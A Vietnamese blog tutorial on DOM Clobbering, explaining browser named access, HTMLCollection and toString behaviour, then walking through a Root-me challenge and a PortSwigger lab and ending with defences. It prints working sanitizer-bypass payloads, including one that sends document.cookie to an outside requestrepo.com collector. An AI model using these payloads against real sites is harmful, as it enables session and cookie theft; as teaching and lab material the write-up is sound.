+4

Tìm hiểu về Dom Clebbring

Mở đầu

Bài viết này được viết theo cách hiểu của mình sau khi tham khảo nhiều nguồn khác nhau, và có thể hơi khó hiểu hay vẫn còn sai sót. Hy vọng nhận được những góp ý từ mọi người :>. Trong bài viết này mình test trên browser là Edge, và một số thứ có thể không hoạt động đúng trên trình duyệt không phải từ chromium based.

DOM Clobbering là gì? Nó được sử dụng khi nào?

Theo PortSwigger: DOM Clobbering là một kỹ thuật inject HTML vào một trang để thao tác với DOM với mục địch cuối cùng là thay đổi hành vi của JavaScript trên trang. Kỹ thuật đặc biệt hữu ích trong trường hợp không thể thực hiện được XSS, nhưng có thể kiểm soát các HTML elements trên trang có thuộc tính id hoặc name sau khi được filter bằng whitelist. Thuật ngữ clobbering (ghi đè) xuất phát từ thực tế là việc "clobbering" một biến global hoặc thuộc tính của một đối tượng và thay vào đó ghi đè lên nó bằng DOM hoặc HTMLCollection.

Tổng quan

object window và khả năng truy cập

Theo WHATWG về named access on the window object:

image.png

WHATWG là viết tắt của "Web Hypertext Application Technology Working Group." Đây là một nhóm làm việc chuyên nghiên cứu và phát triển các chuẩn web.

Như vậy khi truy cập name qua window (window[name] hay window.name) sẽ trả về một element hoặc là một collection các elements. Một điều đặc biệt là: khi một element được gán attribute id thì có thể truy cập được đến element đó qua window với nameid. Với tính chất của object window thì: id đó trở thành biến global gọi đến element kia.

image.png

Còn khi có nhiều element có cùng id nó sẽ trở thành HTMLCollection:

image.png

Khác với id thì attribute name cũng như vậy nhưng đối với một số tags nhất định. Bằng script đơn giản để xem tag nào có thể lấy được từ window:

tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){
    html = `<${tag} name="test">`
    document.body.innerHTML = html
    try{
        if(window.test){
            console.log(tag)
        }
    }
    catch{}
}

Kết quả:

image.png

=>Như vậy các tags: embed, form, iframe, image, img, object có thể dùng được dưới window từ attribute name

object document và khả năng truy cập

Tương tự với window:

image.png

Tham khảo tại: https://html.spec.whatwg.org/multipage/dom.html#dom-tree-accessors

  • Với attribute id: Test với script:
tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){
    html = `<${tag} id="test">`
    document.body.innerHTML = html
    try{
        if(document.test){
            console.log(tag)
        }
    }
    catch{}
}

Kết quả:

image.png

Như vậy chỉ có tag object.

  • Với attribute name: Script tương tự:
tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){
    html = `<${tag} name="test">`
    document.body.innerHTML = html
    try{
        if(document.test){
            console.log(tag)
        }
    }
    catch{}
}

Kết quả:

image.png

Có thể thấy các tags embed, form, iframe, image, img, object có thể ghi được vào document với attribute name. (Điều này giống với object window).

Tại sao lại vậy?

Khi web được load, browser sẽ tạo DOM Tree để thể hiện cho cấu trúc, nội dung của trang web. Thuật toán named property visibility là một cơ chế quy định cách mà các atrribute được gán trong HTML được truy cập và xử lý trong JavaScript. Khi một trang web chứa các elements HTML với atrribute id hoặc name, browser sẽ tự động ánh xạ các elements này thành các object trong JavaScript dựa trên các atrributes đó. Điều này có nghĩa là các phần tử HTML có id hoặc name sẽ trở thành các properties của object window hoặc document trong JavaScript. => Khi có sự trùng tên giữa biến JavaScript và element HTML, browser sẽ ưu tiên truy cập đến element HTML thay vì biến JavaScript. Điều này dẫn đến việc một biến JavaScript có thể bị clobbering bởi element HTML cùng tên đó, và điều này có thể dẫn đến các cuộc tấn công như XSS thông qua DOM Clobbering.

Clobbering trong objectdocument

Như đã nói, ta đã biết được khả năng truy cập từ windowdocument, nhưng thực sự đã có việc có thể ghi đè ở đây hay không?
Câu trả lời là: với document thì có còn với window thì không.
Trước tiên ta đề cập tới vấn đề prototype.

Object prototypes

Lấy ví dụ với object sau:

const person = {
  name: "chuong",
  greet() {
    console.log('hello');
  },
};

object trên có 1 property name và 1 method là greet(). Tuy nhiên không chỉ vậy, object này còn có nhiều properties khác nữa:

image.png

Chúng đến từ đâu? Mọi object trong JavaScript đều có một built-in property, được gọi là prototype. Bản thân prototype là một object, vì vậy prototype sẽ có prototype của nó, tạo nên prototype chain. Chain này kết thức khi chạm tới giá trị null.

  • Để lấy prototype ta sử dụng Object.getPrototypeOf(obj)

    image.png

    Hoặc có thể sử dụng __proto__. Ví dụ: person.__proto__

    Khi cố gắng truy cập vào property của object, nếu không tìm thấy trên chính đối tượng đó thì sẽ chuyển sang prototype của object đó để tìm kiếm.

  • Để kiểm tra một property có thuộc object đó không ta sử dụng obj.hasOwnProperty(), method này sẽ chỉ kiểm tra trong chính obj hiện tại:

    image.png

    Do ở đây toString thuộc prototype của nó:

    image.png

window

Quay trở lại, với element HTML chứa attribute idname mà ta có thể truy cập từ window:

image.png

Nhưng nó không được clobbering vào object window để trở thành property:

image.png

Thay vào đó nó thuộc về:

image.png

Như vậy không clobbering từ window:

image.png

Note: Điều này chỉ đúng trên trên Chromium-based browser. (Có thể việc xử lý window trên Chomre khác với browser khác)

document

image.png

Như vậy là document có thể clobbering được.

Điều này cũng có nghĩa là document sẽ dễ bị attack:

image.png

HTMLCollection

Như đã nhắc ở đâu đó phía trên thì HTMLCollection là collection các elements có cùng id hoặc name. Nó cũng collect các elements cùng id lẫn name, trông rất chán =))

image.png

Quay trở lại với ví dụ đơn giản là cùng id: Để truy cập element chỉ định ta có thể sử dụng index: 0, 1, 2,... để lấy các element hoặc sử dụng name. Theo specs về việc supported property names:

image.png

Ví dụ:

image.png

Tương tự việc truy cập element từ HTMLCollection có cùng attribute name và dựa vào id.

toString()

Đây là method convert từ object sang string. Cái hay của nó không không chỉ nằm trong JavaScript mà còn ở các ngôn ngữ khác như PHP, Java,... Đó là việc tự động thực thi khi obj được dùng dưới dạng string. Trong JavaScript, một số hàm có thể làm điều này như: String(), innerHTML, outerHTML, innerText,... Ví dụ về innerHTML:

image.png

Như vậy là mảng arr trên đã tự chuyển sang string.

Quay trở lại với Dom Clebbering, chúng ta chỉ control x, y, x.y, x.y.z, ... dưới dạng element. Vậy các element đó khi chuyển sang string sẽ như thế nào? Với tag div nó sẽ trở thành [object HTMLDivElement]:

image.png

Nó chỉ trả về thông tin của tag đó. Vậy có phải tag nào cũng như vậy không? Câu trả lời là không.

Ví dụ khác với tag <a id="x" href="http://example.com"></a>, kết quả thu được:

image.png

http://example.com/ - giá trị href, lý do là tag <a> tương ứng với interface HTMLAnchorElement có instance method toString() trả vè giá trị của href:

image.png

Để kiểm tra xem còn tag nào như vậy không, ta dùng một đoạn script:

tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){
    html = `<${tag} id="x">`
    document.body.innerHTML = html
    try{
        if(!x.toString().includes('[object')){
            console.log(tag)
        }
    }
    catch{}
}

Kết quả:

image.png

Và có thêm tag <area> tương tự tag <a>:

image.png

Root-me: DOM Clobbering

Trước khi tìm hiểu tiếp, ta thực hành một bài trên root-me.

image

Phân tích

Trên /renderer,

Bài sử dụng thư viện DOMPurify 2.3.4:

image

Để filter input:

// Purify input
input = DOMPurify.sanitize(input);

1 đoạn code debug_script với mục đích tạo ra tag <script>:

if(typeof debug != 'undefined') {
    // Debug header
    document.getElementById("debug_header").innerHTML = "<h1>Debug Mode Activated</h1>"

    // Debug output
    // document.write("2")
    // Custom debug
    custom_debug = document.createElement('script');
    try {
        const path = String(debug.path).slice(8,) // Note for admin: slice used to avoid bugs, fix it as soon as possible
        const params = debug.params.textContent
        const debug_url = new URL("http://debug.secure_renderer" + path + "/debug" + params); // Make sure that right FQDN and endpoint is being used and generate URL object
        custom_debug.src = debug_url.origin + debug_url.pathname // Set final secure url as custom debug script source
    } catch {}
    document.body.appendChild(custom_debug);
};

Cả 2 được truyền vào html để render (được enable thêm CSP):

image

Với payload bình thường đã bị filter qua thư viện:

image

Khai thác

Với chức năng debug theo script trên, điều kiện đầu tiên là typeof debug != 'undefined', ta chỉ cần inject tag html có id=debug là được, ví dụ <div id=debug></div>

image

Như vậy là đã đi được vào. Dựa vào Dom Clebbering, ta có thể control được debug và cả pathparams.

const path = String(debug.path).slice(8,)
const params = debug.params.textContent

Từ đó control được debug_url:

const debug_url = new URL("http://debug.secure_renderer" + path + "/debug" + params);

Tức là src của tag <script> luôn:

custom_debug.src = debug_url.origin + debug_url.pathname
...
document.body.appendChild(custom_debug);

Trong HTMLCollection, ta còn có thể truy cập element dựa vào attribute name. Ví dụ:

image

Như đã nói element <a> (HTMLAnchorElement) có instance method là toString() và nó sẽ tự động gọi khi qua hàm String() để trả về giá trị href:

image

Ở đây mình thấy params không cần thiết nên sẽ bỏ qua ~~ (tuy nhiên vẫn cần thêm vào đề tránh gặp lỗi)

Quay trở lại với việc tạo path:

  • Thứ nhất là path sẽ slice(8,) tức là cắt bỏ đi 8 ký tự đầu, ta cần phải custom cho phù hợp.

    const path = String(debug.path).slice(8,)
    
  • Thứ hai: host hiện tại là debug.secure_renderer ta có thể thay đổi nó bằng @ vì URL object trong javascript có thể parse nó.

    image

Trước khi nói tiếp thì mình đề cập thêm chức năng của web:

image

image

Ta có thể tạo ra nội dung file JS tương ứng:

image

Mình mất khá nhiều thời gian để tìm cách bypass CSP và bất thành cho đến khi phát hiện điều này ༼ つ ◕_◕ ༽つ

Vì path được nối thêm /debug nên cần comment nó lại.

Vậy ta sẽ hướng đến URL của tag script như sau: http://challenge01.root-me.org:58057/callback/alert(1);/

Tóm lại payload hiện tại sẽ là:

<a id=debug>
<a id=debug name=path href="//a@challenge01.root-me.org:58057/callback/alert(1);/"></a>
<div id=debug name=params>a</div>

image

Kết quả:

image

Tag script được tạo khi đó:

image

Bây giờ tạo payload để lấy cookie thôi:

<a id=debug>
<a id=debug name=path href="//a@challenge01.root-me.org:58057/callback/location.href='https://3smz6rsl.requestrepo.com%3Fc='+document.cookie;/"></a>
<div id=debug name=params>a</div>

Đoạn script khi đó:

image

image

Gửi URL vào phần /report và chờ đợi 1-2 phút:

image

form element

Đây là một kỹ thuật phổ biến sử dụng element form kết hợp với element khác như input để clobbering x.y (trong đó x có thể là bất kỳ x, window.x, hoặc document.x) Khác với việc clobbering thông thường từ tag khác, form có có mỗi quan hệ parent-child với tag khác, điển hình là input.

image.png

Để kiểm tra xem có tag nào tương tự input ta dùng script:

tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){
    html = `<form id=x >
    <${tag} id="y"></form>`
    document.body.innerHTML = html
    try{
        if(x.y){
            console.log(tag)
        }
    }
    catch{}
}

Kết quả:

image.png

Như vậy là các tags: button, fieldset, image, img, input, object, output, select, textarea dùng được. (các tag này dùng id hay name đều được)

Ví dụ: Lab: Clobbering DOM attributes to bypass HTML filters trên PortSwigger.

Bài này dùng thư viện HTMLJanitor dính lỗ hổng. Về cơ bản, nó tương tự các sanitize của DomPurify: tạo DOM -> duyệt qua các Node -> Filter whitelist. Theo config:

image

Điều này cho phép sử dụng input với thuộc tính name, type, value; form với thuộc tính id.

Hàm _sanitize thực hiện filter, trong đó tạo TreeWalker và lấy ra node đầu tiên qua method firstChild():

image

Sau đó duyệt qua từng attribute của node để filter:

image

Mục tiêu của bài này là clobbering node.attributes để nó trả về undefined để flow code không đi qua vòng lặp => bypass filter.

Vì vậy trong form vào ta inject tag inputname="attributes" => method firstChild() nhận tag input này => clobbering

Payload:

<form id=x tabindex=0 onfocus=print()><input id=attributes>

Ta trigger event onfocus dựa vào id với fragment.

image

Kết quả:

image

Giờ chỉ việc khai thác qua exploit server:

image

Okay.

image

iframe element

Khác với các tag khác, đối với iframe, khi truy cập từ id sẽ trả về element, còn khi truy cập từ name sẽ trả về window chứa iframe đó:

image.png

iframe có attribute srcdoc để tạo ra #document mới.

image.png

Từ đó ta dùng name từ iframe để lấy ra các element trong srcdoc để thực hiện DOM Clobbering (điều này tương tự với object window đã nói phía trên).

image.png

Clobbering Higher Levels

Kỹ thuật này có thể clobbering lên chuỗi properties: a.b.c.d...

DOMC Payload Generator

a.b.c.d:

<iframe name="a" srcdoc="<iframe name='b' srcdoc='<a id=c></a><a id=c name=d href=clobbered></a>'></iframe>"></iframe>

a.b.c.d.e:

<iframe name=window srcdoc=" <iframe name=a srcdoc=&quot; <iframe name=b srcdoc=&amp;quot; <iframe name=c srcdoc=&amp;amp;quot; <iframe name=d srcdoc=&amp;amp;amp;quot; <a id='e' href='clobbered'></a> &amp;amp;amp;quot;></iframe> &amp;amp;quot;></iframe> &amp;quot;></iframe> &quot;></iframe> "></iframe>

Phòng chống

  • HTML Sanitization: sử dụng DOMPurify kèm option SANITIZE_DOM hay SANITIZE_NAMED_PROPS hoặc Sanitizer API
  • CSP
  • Sử dụng Object.freeze()
  • Validate input
  • Không sử dụng document, window cho biến global
  • Cẩn thận với Document Built-in APIs
  • Sử dụng strict

Tham khảo tại:


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí